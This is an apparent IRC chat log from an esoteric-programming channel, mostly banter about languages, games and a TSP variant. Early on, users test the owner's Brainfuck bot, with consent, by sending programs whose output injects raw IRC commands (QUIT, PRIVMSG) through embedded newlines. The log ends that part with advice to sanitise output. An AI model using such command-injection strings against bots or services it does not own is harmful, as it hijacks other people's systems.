16:23:44 <password2> +bf:++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++.
16:24:12 <nortti> I was testing if you had a bug that let one send arbitrary data
16:24:22 <Bike> hm, what was it
16:24:30 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
16:24:34 <Bike> !bf_txtgen foo
16:24:38 <EgoBot> 49 ++++++++++[>++++++++++>+>><<<<-]>++.+++++++++..>. [107]
16:24:52 <Bike> +bfreset:bf:++++++++++[>++++++++++>+>><<<<-]>++.+++++++++..>.
16:25:19 <Bike> can't chain commands, huh.
16:25:33 <password2> +bfreset:+bf:++++++++++[>++++++++++>+>><<<<-]>++.+++++++++..>.
16:25:46 <nortti> +bfreset: ++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.[--->+<]>-.---[->++<]>.--[--->+<]>--.+++++++++..
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16:26:46 <password2> yah , i want to be double sure i don't accidently match wors and start random spamming sprees
16:27:03 <nortti> +bf ++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.[--->+<]>-.---[->++<]>.--[--->+<]>--.+++++++++..
16:27:07 <passwordBOT> Commands are +bf: +breset: +bfdump: +bfdumpascii:
16:27:18 <Bike> lol i just noticed >><<<<, good job txtgen
16:27:29 <Bike> password2: shouldn't bflist include bflist
16:28:22 <huhuh> Can you give it input?
16:28:55 <nortti> +bfreset:+bf:++++++++++.>-[--->+<]>----.++++.------------.+++++++++++.[--->+<]>++++.---[->++<]>.--[->++++++<]>.[--->+<]>-.---[->+++<]>-.>++++++++++.
16:29:47 <huhuh> nortti: did you try \n and \r ?
16:30:22 <password2> you need em to send a message apparently
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16:32:14 <password2> if you print "\r\nPRIVMSG "+room+" : foo\r\n" it might actually send the message
16:32:27 <nortti> +bfreset:+bf:+++++++++++++.---.>-[--->+<]>----.++++.------------.+++++++++++.[--->+<]>++++.---[->++<]>.--[->++++++<]>.[--->+<]>-.---[->+++<]>-.>+++++++++++++.---.
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16:32:45 <huhuh> password2: do you put a limit on the amount of time it spends?
16:32:59 <huhuh> so someone can't just do +[]
16:36:20 <huhuh> +bfreset:+bf:+[.+]
16:38:16 <password2> the bot to human line here is getting high
16:38:38 <huhuh> +bfreset:+bf:++++++++++.....
16:39:19 <password2> i should print the dump more dunmically too
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16:40:28 <password2> now the pointer should reset with the reset cmd
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16:41:05 <huhuh> password2: why doesn't ++++++++++. output "\n" ?
16:41:13 <huhuh> +bfreset:+bf:++++++++++.>-[--->+<]>----.++++.------------.+++++++++++.[--->+<]>++++.---[->++<]>.--[->++++++<]>.[--->+<]>-.---[->+++<]>-.>++++++++++.
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16:42:00 <huhuh> password2: the output is "\nQUIT :PoC"
16:42:05 <nortti> you should sanitize your output
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16:42:08 <huhuh> exactly what nortti gave, but it works now for some reason
16:42:26 <huhuh> You should escape \n, \r, maybe also \b if people find it annoying
16:44:59 <nortti> +bfreset:+bf:++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.-[------>+<]>-.[-->+<]>+++.++++[->++<]>.--[-->+++<]>.>++++++++++.
16:47:03 <newsham> if you study drunk you have to take the test drunk
16:47:15 <password2> anyone else wanna make it do IRC cmd before i disable em?
16:47:38 <oerjan> ^bf ++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.-[------>+<]>-.[-->+<]>+++.++++[->++<]>.--[-->+++<]>.>++++++++++.
16:47:38 <fungot> .PRIVMSG #esoteric: Hi.
16:49:36 <password2> +bfreset:+bf:++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.-[------>+<]>-.[-->+<]>+++.++++[->++<]>.--[-->+++<]>.>++++++++++.
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16:50:49 <password2> +bfreset:+bf:++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.-[------>+<]>-.[-->+<]>+++.++++[->++<]>.--[-->+++<]>.>++++++++++.
16:59:26 <password2> oh i see why it didn't send the PRIVMSG
16:59:46 <password2> there needs to be a space between the channel name and :
16:59:48 <newsham> facebook's new langauge, hack. http://www.wired.com/wiredenterprise/2014/03/facebook-hack/
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17:00:48 <password2> i know a gut the coded for facebook
17:02:44 <password2> he said it was absolutely horrible as know one there commented any of their code
17:03:15 <nooodl> PHP is what’s called a dynamically typed language. Basically, this means you needn’t take the time to define specific parameters for each and every routine in your code, and once you finish a piece of code, you can almost instantly run it — without taking additional time to compile it into another form. The code essentially compiles in the background, as you write it.
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17:04:28 <nortti> http://arstechnica.com/security/2014/03/php-bug-allowing-site-hijacking-still-menaces-internet-22-months-on/
17:04:34 <Jafet> nooodl: Wired's towering journalistic standards help keep us informed about the latest software technology.
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17:08:14 <Bike> this is why we all need to switch to Active Server Pages.
17:08:55 <newsham> commenting code doesnt make code nice
17:12:21 <password2> yes , but it lets other understand your code
17:13:51 <kmc> int x = 2; // declare an integer variable named x, and set its initial value to 2
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17:21:44 <password2> when are a companies programmers bored?
17:27:35 <oerjan> hm what was the english word for "quiz" before quiz was famously made up
17:29:05 <Taneb> Much like my competence!
17:29:37 <oerjan> how many of the things we learned in our childhood that were too good to be true, actually _were_ true?
17:30:08 <huhuh> password2: when are they bored?
17:31:05 <oerjan> when they're going through the drill
17:31:07 <password2> when they start writing their own languages
17:31:45 <oerjan> i say my pun was better
17:31:58 <oerjan> not _much_ better though
17:32:30 <password2> except that i need to pee and i just locked my room
17:32:43 <huhuh> Google Go, Facebook Hack, does Twitter have its own language?
17:32:57 <huhuh> maybe Golfscript, so you can fit the code in 140 chars
17:33:44 <int-e> meh you just put your program on punched cards. (132 is quite close to 140)
17:33:51 <oerjan> now twitter fitting their code down to 140 chars would be something.
17:34:40 <Jafet> You may be looking for Sclipting.
17:35:07 <password2> effing , how many time am i gonna write 'know' instead of no/now
17:36:14 <password2> i tend to do it a lot when my mind is somwhere else
17:36:57 <myname> i like how know and no sound pretty similar and now sounds completely different
17:37:39 <password2> my native language probably have lots more examples
17:37:51 <myname> what is your native language?
17:38:23 <myname> okay, don't know shit about that
17:38:50 <int-e> http://en.wikipedia.org/wiki/Lion-Eating_Poet_in_the_Stone_Den seems relevant
17:39:18 <myname> so, similar to german, but not the real thing? ;p
17:39:20 <int-e> (there's some video on youtube of somebody actually reading the thing.)
17:40:28 <int-e> oh, linked from the wikipedia page. so that's how I found it. :))
17:44:13 <oerjan> int-e: that poem is some shi*
17:44:26 <Jafet> If you mean this, it's a rather dull recital http://www.youtube.com/watch?v=vExjnn_3ep4
17:45:20 <Jafet> Interesting fact: that vowel does not exist in english
17:46:20 <int-e> Jafet: you're right ... I saw a different one, hmm.
17:46:31 <Jafet> The poem has only one vowel, so I mean that one.
17:46:51 <myname> are there words in english that do start with a "real" vocal? (i.e. no glottal stop before it)
17:47:41 <password2> this is kinda creepy http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0CCoQtwIwAA&url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DMEwbfnCpKA4&ei=9nksU9-VCsLy7Aa3xYCYBg&usg=AFQjCNG8GgFinV3JaBd1-QvRDm4NgFLklQ&sig2=SITCyBQiQTq_dZBU3L1IsQ&bvm=bv.62922401,d.ZGU
17:47:57 <password2> oops sorry , i forgot the google made massive links
17:49:30 <int-e> Jafet: I believe I saw http://www.youtube.com/watch?v=QXVJOhXY33U which isn't a good recital either, but I found it funny.
17:50:52 <Jafet> Die verdammten falschen Freunde?
17:52:01 <Jafet> Die, Grammatik, die
17:52:26 <Jafet> (A diagrammatic die)
17:53:14 <int-e> no, it's "der Bart". ;-)
17:53:56 <Slereah_> No one speaking German could be an evil man!
17:54:01 <myname> but it wouldn't be that funny in simpsons
17:54:49 <password2> i have always wanted to learn german , but have always been too lazy
17:55:13 <myname> password2: shouldn't it be pretty easy for you?
17:56:23 <myname> but to be honest, as a german i don't understand a thing in nederlands
17:56:33 <myname> (others seem to, though)
17:56:48 * int-e feels the same about dutch.
17:57:03 <password2> i did a sort rosetta course a while back for german
17:57:03 <int-e> it's easier in writing, but still hard.
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17:58:59 <password2> how much does different dialecs of german differ?
17:59:00 * int-e tries to figure out "maichen"
18:00:19 <zzo38> Somehow this floppy disk USB doesn't seem to work
18:00:41 <password2> i think the largest reason i have not learnt german is that even if i master it ,I will use it very seldomly
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18:01:37 <zzo38> Why do some things in Windows say, you do not have permission to view the current permissions of this object but you are allowed to make changes?
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18:04:40 <Jafet> I guess zzo asked some inconvenient questions.
18:15:26 <password2> if I use ! to separate code from input , should i read it ascii values or take hexpairs , ie ([-]!B of [-]!42)
18:17:57 <Bike> obviously use both, with ? for hexpairs
18:26:29 <huhuh> I think allowing ASCII input would be more useful.
18:27:31 <elliott_> password2: not ASCII values, just raw binary data
18:27:37 <elliott_> (ASCII values never have the high bit set)
18:27:38 <huhuh> [insert "why not both?" gif]
18:28:07 <Bike> well, yeah, ascii is 7-bit.
18:29:28 <password2> err , the tables i habe went to 255
18:29:38 <huhuh> I think Latin-1 is the 8-bit equivalent
18:29:48 <huhuh> but there may be others
18:30:00 <elliott_> they're probably showing you dos code page 437 or something
18:30:27 <password2> i notice now i have another table open that only goes to 127
18:30:42 <elliott_> UTF-8 exploits this to maintain ASCII backwards-compatibility, incidentally
18:31:00 <elliott_> in a UTF-8 stream bytes 0-127 represent codepoints 0-127, and the higher bytes are used to encode the full Unicode range
18:31:38 <elliott_> so any valid ASCII stream is a UTF-8 stream with the same meaning (but you can't interpret arbitrary 8-bit binary data as UTF-8 and expect the codepoints to all match the byte values, of course)
18:33:51 <huhuh> password2: do you use 0 or no-change for EOFs?
18:35:11 <password2> actually the program is in this chat
18:35:29 <passwordBOT> Commands are +bf: +breset: +bfdump: +bfdumpascii:
18:36:44 <password2> that for some reason does not work so well
18:37:13 <password2> probably becaus I'm not filtering anything
18:37:51 <huhuh> password2: breset?
18:38:04 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
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18:41:27 <elliott_> or CR LF, or CR, depending on platform
18:42:16 <zzo38> You could also ignore the CR and then probably it has LF afterward, too.
18:42:29 <zzo38> However CR LF is suitable for printing.
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19:39:51 <zzo38> Do you know DOS version of "RoboZZle" game?
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20:04:49 <myname> more important: do you know any android game (besides robozzle itself) that is like robozzle?
20:05:00 <zzo38> No, I don't, I only know the DOS version
20:05:19 <myname> there are at least 2 versions for android
20:05:35 <nortti> does the DOS version use data from the robozzle site?
20:06:52 <zzo38> No, it uses a different format
20:09:54 <Slereah_> "This procedure is instructive as a prototypical tree recursion, but it is not of thy people Israel"
20:11:29 <Taneb> Slereah_, I know the guy who makes them :)
20:12:25 <Slereah_> Tell him he is a national treasure
20:13:18 <Slereah_> https://www.youtube.com/watch?v=RzhRYGm_b9A
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20:13:56 <Taneb> Slereah_, he says thanks
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21:27:11 <zzo38> http://zzo38computer.org/GAMES/frobozle_savamaz.zip Contains FROBOZLE (DOS version of RoboZZle, with some new pieces and commands), and SAVAMAZ (an incomplete roguelike game).
21:27:58 <myname> what kind of roguelike is it?
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21:28:30 <zzo38> myname: What does that question mean?
21:29:01 <myname> is there something special to it?
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21:29:39 <zzo38> There is fog to block your vision, for one thing. There is also windows that you can see through but cannot walk through.
21:30:07 <zzo38> Also you have to up upstairs unlike many roguelike games where you go mainly downstairs.
21:30:57 <zzo38> And sometimes there are laser beams blocking the stairs.
21:31:18 <myname> nethack had at least windows in sokoban iirc
21:32:01 <Bike> i don't remember any windows in nethack.
21:32:28 <zzo38> Well, if you look at NetHack you would know, and if you look at my games you would know too (source codes are available for both games)
21:32:33 <myname> it may be one of my numerous mods installed
21:32:56 <zzo38> Both of these programs I linked are public domain
21:33:17 <Bike> i don't think nethack has any objects that don't take up a whole tile, for sure
21:33:47 <zzo38> Bike: Probably it is true they all take up a whole tile
21:33:52 <Bike> http://members.tripod.com/~Scrooge_McFuck/ meanwhile, in the 90s
21:35:12 <Bike> it's a punk band.
21:35:19 <kmc> haha of course it is
21:35:29 <Bike> not like, duck porn. i don't know what's allowed at ur job
21:38:05 <Bike> also have y'all heard about turkey. good pr move on google's part: https://pbs.twimg.com/media/BjPyxrcIcAAsheI.jpg
21:39:10 <kmc> https://twitter.com/pickover/status/447026154135113729
21:39:44 <Bike> i just like to imagine that edrogan is an undercover google marketer
21:40:06 <kmc> are 8s lucky in turkish culture
21:43:02 <Bike> " Access to Twitter was restricted under article 10 of the law to fight terrorism. Twitter is now sort of a terrorist organisation in Turkey, I guess"
21:43:26 <kmc> cool, does that mean I'm a member of a terrorist organization?
21:43:41 <ion> We are all members of terrorist organizations.
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22:00:16 <lexande> kmc: when i applied to renew my uk visa the form asked if i was a member of a terrorist organisation, with a definition that included supporting the violent overthrow of any government
22:01:14 <lexande> at the time the labour party was still in government after supporting the violent overthrow of the government of iraq
22:01:22 <Slereah_> Managed to revive it fortunately
22:02:03 <lexande> and i had at one point been a meme
22:02:33 <elliott_> that was a good place for that line to get cut off.
22:02:33 <Bike> this reminds me of the story about godel and citizenship.
22:03:34 <lexande> elliott_: i'm not sure i can claim to be a meme without replicating more
22:06:00 <Bike> godel's in court getting american citizenship, having fleed the nazis in austria. the judge tells him how great it is to be an american, where there's no way dictators like the nazis can come into power. godel starts disagreeing, saying there's a logical flaw in the Constitution allowing such a thing, but then his buddy Einstein tells him to shut the fuck up and get americanized
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22:08:35 <Slereah_> Although he made the fatal flaw of assuming the US cared about the constitution
22:08:42 <kmc> `addquote <lexande> and i had at one point been a meme
22:08:48 <kmc> (I know HackEgo isn't here but, grep)
22:09:18 <kmc> lexande: that is an amusing story
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22:10:21 <quintopia> the lack of gregor and gregorbots is subtly motivating me to write a bfjoustbot
22:10:57 <kmc> where did they go? :/
22:14:00 <zzo38> Did you look at my game? You can also try to make up more level of it
22:14:11 <Bike> i ain't got no dos
22:14:32 <zzo38> You could try to run them on an emulator, or see if you are able to port it to FreeBASIC or something
22:16:57 <Bike> speaking of emulators, arbitrary code execution vuln in Super Metroid http://tasvideos.org/4224S.html
22:17:18 <Bike> "We may be at the point where tool-assisted videogame speedrunning needs its own tech conference."
22:19:00 <Bike> has a full writeup of how it works. apparently if you use the right combination of guns it starts copying bits of ram everywhere, which is like 80% cooler than any qemu bug to explain
22:21:37 <zzo38> It happens in other games too, such as Pokemon Yellow
22:22:20 <Bike> i remember the pokemon yellow bug, and also the earthbound one, but they didn't come with explanations that i recall
22:25:21 <Bike> lol, they just run out the door too fast to get to fighting the chozo statue
22:34:58 <Bike> http://www.youtube.com/watch?v=zew4pQ_1ZSU#t=13m50s really, i'm sure netsec would be more popular if it looked like this
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22:55:39 <FireFly> The pokemon yellow one was thorughly explained
22:56:21 <FireFly> http://aurellem.org/vba-clojure/html/total-control.html
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23:08:40 <zzo38> FireFly: I have read that, too. They wrote other things about Pokemon too such as type effectiveness and allergies, and "9 Questions with Pokemon" (which I have converted into Internet Quiz Engine format, using a AWK script).
23:15:32 <newsham> hah! "Plot idea: 97% of the world's scientists contrive an environmental crisis, but are exposed by a plucky band of billionaires & oil companies."
23:18:56 -!- ^v has joined.
23:24:31 <zzo38> As well as things other than Pokemon, too.
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23:28:00 <newsham> i now have sim-card size adapters
23:28:48 <newsham> now i can cell phone the way our founding fathers intended!
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23:30:20 <kmc> please, founding fathers would use CDMA
23:32:08 <newsham> although one of the devices i have here is carrier locked.. oh well guess i'll skip that one
23:32:37 <kmc> AMERICA is all about doing it different from the rest of the world
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23:47:54 <Sgeo> Is VMware Workstation really better than VirtualBox?
23:49:35 <Bike> is rankine really better than fahrenheit
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23:50:31 <newsham> you can get vmware player for free, too
23:50:36 <oerjan> Bike: it ranks higher, obviously
23:51:30 <Sgeo> Yeah, but there's not much you can do with VMware Player than play prebuilt or hand-written VMs, I think
23:52:49 <Bike> but it does come with a free pool noodle.
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23:56:25 -!- oerjan has set topic: a variety of colorful fish, but the darkness of no HackEgo | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
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23:57:03 <oerjan> maybe the wisdom pdf will be all that remains
23:57:30 <Bike> rip #esoteric, twerked too hard
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23:59:55 <Taneb> So what is everybody up to today
00:00:07 <Taneb> Or planning to do or whatever
00:06:38 <zzo38> Maybe to write more of my Z-machine compiler, is what I might do today
00:06:48 <zzo38> Or play Pokemon card, or both
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00:13:20 <pikhq> Bike: Define "better".
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00:15:12 <Bike> pikhq: is margarine really better than I Can't Believe It's Not Butter(TM)?
00:16:59 <newsham> bike: https://www.youtube.com/watch?v=0MsbvGmLaU4
00:23:21 <olsner> I don't believe I can't believe it's not butter is not butter after watching that clip
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00:24:21 <olsner> (if you believe you know what I'm talking about please explain, because I don't)
00:37:48 * oerjan finally got at least to a 1024
00:38:17 <Bike> fuck you, man :(
00:38:26 <int-e> is everybody playing this game?
00:38:34 <oerjan> you've been having trouble getting to that too?
00:38:44 <Bike> at least i got a 2048 in flappy logarithmic 2048
00:38:50 <Bike> "woo, you pased eleven pillars"
00:39:21 <olsner> I think my record is either 512 or 1024 (in the original 2048, not in the derivatives)
00:40:03 <oerjan> Bike: i think i fell into a nice rhythm this time
00:40:08 <int-e> 512 was easy, 1024 was hard, 2048 was impossible until I adapted a good strategy (which I can't claim credit for, I watched a colleague play.).
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00:40:21 <oerjan> and yeah the original.
00:40:40 <int-e> Somebody wrote a computer program that gets 2048 90% of the time.
00:41:05 <olsner> I found the doge-2048 easier than the original though, maybe the trick is to watch the colors and not the numbers
00:41:24 <int-e> http://gabrielecirulli.github.io/2048/ http://www.2048tile.co/ (which I believe are the same game, but the latter is full of ads)
00:42:37 <int-e> And I hope that's the original one.
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00:44:44 <oerjan> if i add the pieces other than the 1024 at game over, i get 526 i think
00:48:20 <newsham> pet peeve: store websites that try to be amazon, but wont tell you whats actually in stock in an actual store down the street from you.
00:48:33 <newsham> no walmart, i dont give a fuck about what you can fedex me.
00:53:41 <Bike> i just got my highest score yet (only up to 512 though) but it took systematism
00:53:45 <Phantom_Hoover> <int-e> 512 was easy, 1024 was hard, 2048 was impossible until I adapted a good strategy (which I can't claim credit for, I watched a colleague play.).
00:54:14 <olsner> left up right down, p. good strategy
00:58:10 <kmc> <Bike> is rankine really better than fahrenheit
00:59:05 <Bike> i don't actually remember which one rankine is. fahrenheit but based at absoltue zero?
01:00:52 <Bike> wikipedia tells me that the gas constant, as measured in cubic feet psi per rankine-pound-mole, is almost eleven
01:01:17 <Bike> i'm like 80% sure somebody wrote this table as a joke
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01:04:43 <oerjan> <olsner> left up right down, p. good strategy <-- that actually works quite a while, i think. maybe as far as 256.
01:05:10 <oerjan> although by the time it stops working, your field will be so messed up it's unsaveable without extreme luck.
01:07:38 <oerjan> hm not quite to 256 on first try
01:07:57 <oerjan> but i have 128, 64, 32 and 3*16
01:08:20 <oerjan> so it will probably manage occasionally
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01:10:34 <oerjan> 2nd try had 128 + 64 + 2*32
01:12:13 <shachaf> oerjan: any strategy will work for quite a while
01:12:26 <shachaf> imo try to lose with as low a score as possible
01:13:47 <oerjan> 3rd try got above 256, then as well as 128 + 2*64
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01:17:53 <oerjan> shachaf: ok i managed before 128 on first try
01:19:21 <shachaf> how is the score computer anyway
01:19:28 <shachaf> why isn't it just the sum of the numbers on the board or something
01:20:05 <monotone> I thought it was the sum of the tiles you joined together. Admittedly I didn't actually check my theory.
01:20:37 <int-e> http://int-e.eu/~bf3/tmp/2048-2.png :)
01:27:27 <oerjan> shachaf: ok with a slightly better misere strategy i managed score 276
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01:35:01 <oerjan> http://i.imgur.com/EQzOd1v.png
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02:00:41 <zzo38> Do they keep track of misere scores?
02:11:46 <oerjan> <quintopia> the lack of gregor and gregorbots is subtly motivating me to write a bfjoustbot <-- EgoBot is still here
03:03:03 <quintopia> oerjan: the lack of gregor is the bigger deal. also, his unwillingness to install the fixed point scoring
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03:21:50 <shachaf> zzo38: Do you like the chess variations in <http://sigbovik.org/2014/proceedings.pdf>?
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03:23:11 <zzo38> This file is damaged.
03:24:28 <zzo38> I don't know. My computer tells me it is damaged.
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03:24:51 <zzo38> I don't quite believe them, but that is what it says.
03:25:03 <shachaf> Which PDF viewer are you using?
03:25:10 <shachaf> I am using Google Chrome. It works for me.
03:26:52 <Sgeo> Fixed point scoring for waht?
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03:43:11 <newsham> another country heard from
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04:12:49 <kmc> i wanna take acid and play with d3.js demos for hours
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04:18:21 <kmc> http://rudradevbasak.github.io/16384_hex/
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04:21:43 <kmc> shachaf: woah, SIGBOVIK preprint
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05:05:15 <Bike> i was thinking of writing a sigbovik paper, too
05:05:43 <Sgeo> (Disclosure: I am an employee of Cablevision. My opinions are my own, and do not necessarily reflect the opinions of Cablevision)
05:05:54 <Sgeo> I feel like I should be proud of my ISP http://blog.netflix.com/2014/03/internet-tolls-and-case-for-strong-net.html
05:06:09 <Sgeo> "Some major ISPs, like Cablevision, already practice strong net neutrality and for their broadband subscribers, the quality of Netflix and other streaming services is outstanding."
05:07:46 <elliott_> did you actually just write that disclosure on irc
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05:08:32 <Bike> what a coincidence, my opinions don't necessarily reflect cablevision's either
05:08:34 <Sgeo> elliott_: I think I'm supposed to? Well, at least on other social networks
05:08:43 <zzo38> Perhaps company policy requires you to make such a disclosure?
05:08:52 <zzo38> I don't know how the company policy works.
05:11:01 <Sgeo> zzo38: it does, pretty much. Not sure if I'm supposed to talk about that though. I _think_ I can
05:11:59 <Bike> is that thought owned by Cablevision
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05:14:01 <shachaf> disclosure: my opinions are mostly just cobbled together from the opinions of thousands of others. i've hardly had an original thought in my life.
05:15:21 <Sgeo> "If it was never seen, never known, and never thought of, then you will not find it in the Book no matter how far you look, though, and I mean no offence, the chances of you ever having an original thought such as that are remote."
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05:16:51 <Bike> the turner diaries
05:17:08 <Sgeo> zzo38: http://qntm.org/library
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05:39:10 <Sgeo> [insert joke about factorials here]
05:39:27 <Sgeo> [insert sheep here]
05:40:04 <password2> mmm, it was probably not a wise choice making my bf memory gor from -127 to +127 if my cell values gor 0-255
05:40:50 <Sgeo> http://www.froup.com/tr/tr.pl?92
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05:45:13 <Sgeo> http://www.froup.com/tr/tr.pl?110
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06:03:16 <int-e> what a waste of time
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06:14:34 <int-e> http://int-e.eu/~bf3/tmp/2048-3.png became http://int-e.eu/~bf3/tmp/2048-4.png
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06:21:00 <kmc> 2048 is the mind-killer
06:22:34 <pikhq> Politics is the 2048
06:22:56 <Jafet> kmc will not 2048.
06:23:34 <pikhq> kmc prefers playing aleph-null
06:23:55 <int-e> that requires in infinite grid
06:24:23 <int-e> I *will* sleep now. Good night.
06:26:41 <kmc> so, how 'bout them Turing machines, eh? never know when they're gonna stop.
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06:27:21 <pikhq> I'm pretty sure the cardinality of the set of brainfuck variants actually is aleph-null.
06:27:29 <kmc> is it a combination brainfuck variant / 2048 game / web framework?
06:28:00 <password2> it adds relative increase cell and decrease
06:28:40 <password2> +bf:++++++++++>++++++++++++<[->}-<]
06:28:44 <pikhq> So, what, > that goes right a number of times based on the current cell?
06:29:01 <pikhq> That does make array-like things much, much easier.
06:29:10 <password2> no } increases the cell the pointer is pointing to
06:29:21 <passwordBOT> 0 2 0 1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
06:29:23 <Jafet> Don't invest in brainfuck derivatives.
06:29:38 <kmc> buy buy buy sell sell sell
06:29:52 <pikhq> What is d brainfuck/dx, anyways?
06:30:01 <kmc> d brain / d fuck
06:30:25 <kmc> let's get all fancy ∂brain/∂fuck
06:30:36 <pikhq> Oh, nice, a partial one.
06:31:12 <Jafet> The jacofuckyoubian
06:32:01 <password2> a bit , didn't expect someone would actually whip out the correct symbol so fast
06:32:19 <pikhq> kmc: What's the compose for that?
06:33:36 <kmc> Most ever Brainfuckiest Fuck you Brain fucker Fuck
06:33:41 <kmc> why the muttering
06:33:58 <password2> now to think of neat possibilities of my bfpointer thingy
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07:13:48 <password2> err , i see now my modification to bf is very limited
07:15:14 <password2> maybe if i make the looping relative too
07:23:01 <password2> the syntax for moving a value got a bit simpler
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08:29:11 <Sgeo> http://www.froup.com/tr/tr.pl?538
08:41:20 <Jafet> The following sentence is false.
08:41:25 <Jafet> The preceding sentence is true.
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09:20:20 <fizzie> Are there solvers (or a name) for a generalized TSP where the distances between nodes can depend on the index of that edge on the path? (And with free start/end points and no need to return to the origin.)
09:32:15 <fizzie> (I guess that last condition is easy to reduce to the standard one by adding one vertex.)
09:37:25 <Jafet> That sounds vaguely PSPACE-hard.
09:41:20 <lexande> isn't it still only NP-hard? at least the decision problem of whether you have a path of cost < n still only requires a polynomial-time-checkable witness
09:53:01 <Jafet> Suppose d(e, i) ≈ e/2^i, then paths can be arbitrarily long
10:10:07 <oklopol> however, how are those numbers given, it's probably very dangerous to give them via polytime turing machines
10:11:19 <fizzie> I'm not even sure what e is in "d(e, i) ≈ e/2^i".
10:15:00 <oklopol> it's the edge on the left and its weight on the right, maybe
10:16:20 <fizzie> (Also not sure about arbitrarily long, since i \in {1, ..., N}.)
10:17:15 <oklopol> couldn't it be the fastest solution to wait for exponentially many steps at the first node (because up to that point, everything is very expensive)
10:17:25 <oklopol> or does tsp have to be a hamiltonean path
10:17:38 <fizzie> I think it usually does.
10:17:51 <fizzie> (Traditionally, a Hamiltonian cycle, even.)
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10:18:20 <oklopol> i guess in the euclidean case it's fine
10:18:31 <oklopol> because if you repeat a node, you could bypass it by triangle inequality
10:22:13 <fizzie> Wiki says that if you have a non-metric case without the triangle inequality, and allow for revisiting cities, you can replace that by doing regular TSP in the complete graph where d(A, B) is the shortest path between A and B in the original graph.
10:22:55 <fizzie> (Presumably not so applicable for the case with time in it.)
10:23:02 <oklopol> so okay, for tsp it's very reasonable
10:23:07 <oklopol> but it's not reasonable for this version
10:23:41 <fizzie> My underlying practical problem needs a Hamiltonian path, anyway.
10:23:46 <oklopol> unless you already had an application in mind, i guess even the ugliest problem could be called reasonable if it's actually needed
10:25:17 <Deewiant> @tell ais523 Jettyplay will happily encode something more than 4 (or is 2 the cutoff?) GiB in size but only writes a 0-byte file. I thought it'd be an easy fix but evidently the 4 GiB limit is due to the AVI format...
10:26:36 <fizzie> Internet says the problem is called "Time Dependent Traveling Salesman Problem", which isn't terribly surprising.
10:27:26 <Jafet> That's a really long ttyrec
10:27:27 <oklopol> i don't understand why hamiltonean
10:27:37 <oklopol> is your application a secret?
10:28:04 <fizzie> No, but it's too silly to speak of.
10:28:39 <oklopol> can you think of a non-silly application?
10:29:18 <fizzie> This TDTSP paper talks of "a number of important applications", but does not go into all that much detail.
10:29:30 <fizzie> Except mentioning that the Traveling Deliveryman Problem is a special case.
10:30:18 <oklopol> oh important applications, those are pretty important
10:30:42 <fizzie> Also applicability of their algorithm to Vehicle Routing Problem variants.
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10:31:09 <fizzie> http://www.optimization-online.org/DB_FILE/2010/12/2872.pdf "THe Time Dependent Traveling Salesman Problem: Polyhedra and Algorithm", Abeledo et al., if you want to go chasing references or something.
10:33:20 <oklopol> may i'll just believe them
10:35:40 <fizzie> My application is that I have a set of N aligned photos that I want to blend so that I take a narrow vertical column from each of them, and order the photos so that it minimizes the sum of the distances between adjacent photos, as considered in the region around the column, which I think is an instance of that.
10:38:00 <fizzie> (Probably not one of the "important" ones.)
10:40:32 <Jafet> How is that time-dependent? The distance between adjacent photos is fixed.
10:40:43 <int-e> Jafet: "around the column"
10:40:57 <int-e> and column number = time.
10:41:49 <oklopol> why is that not an instance of the usual version? what is time here?
10:41:58 <Jafet> If the distance depends on more photos in either direction, then it is path-dependent, not time-dependent
10:42:13 <int-e> iow, depending on the column number, you compare different areas of the photos.
10:44:14 <fizzie> Yes, that was exactly what I thought. (Though you could certainly generalize it further by involving more than just the adjacent photos.)
10:44:26 <oklopol> fizzie: but why do you want a hamiltonean path?
10:44:58 <oklopol> do you have as many pictures as columns?
10:45:29 <fizzie> I was going to just set the column width based on that.
10:45:37 <Jafet> I suppose fizzie wants to have exactly as many columns as pictures.
10:46:13 <int-e> oklopol: I imagine (wild guess, probably wrong) it's for a website or similar displaying images, an index of the photos that can be rotated by dragging or the like.
10:46:39 <fizzie> It's not for anything as useful as that, I just wanted to see what it looks like.
10:46:53 <fizzie> (The photos are all of the same thing taken at different times.)
10:47:07 <Jafet> For a small number of images, you could just use brute force.
10:47:40 <int-e> another kind of time lapse
10:47:40 <Jafet> Those are normally presented in chronological order, though.
10:48:16 <fizzie> I'll probably have about a hundred of them, and 100! is a big number. (But I could use some generic optimization things, sure.)
10:48:23 <int-e> but maybe the pictures are taken at random times of the day :)
10:48:53 <int-e> And the timestamps are lost.
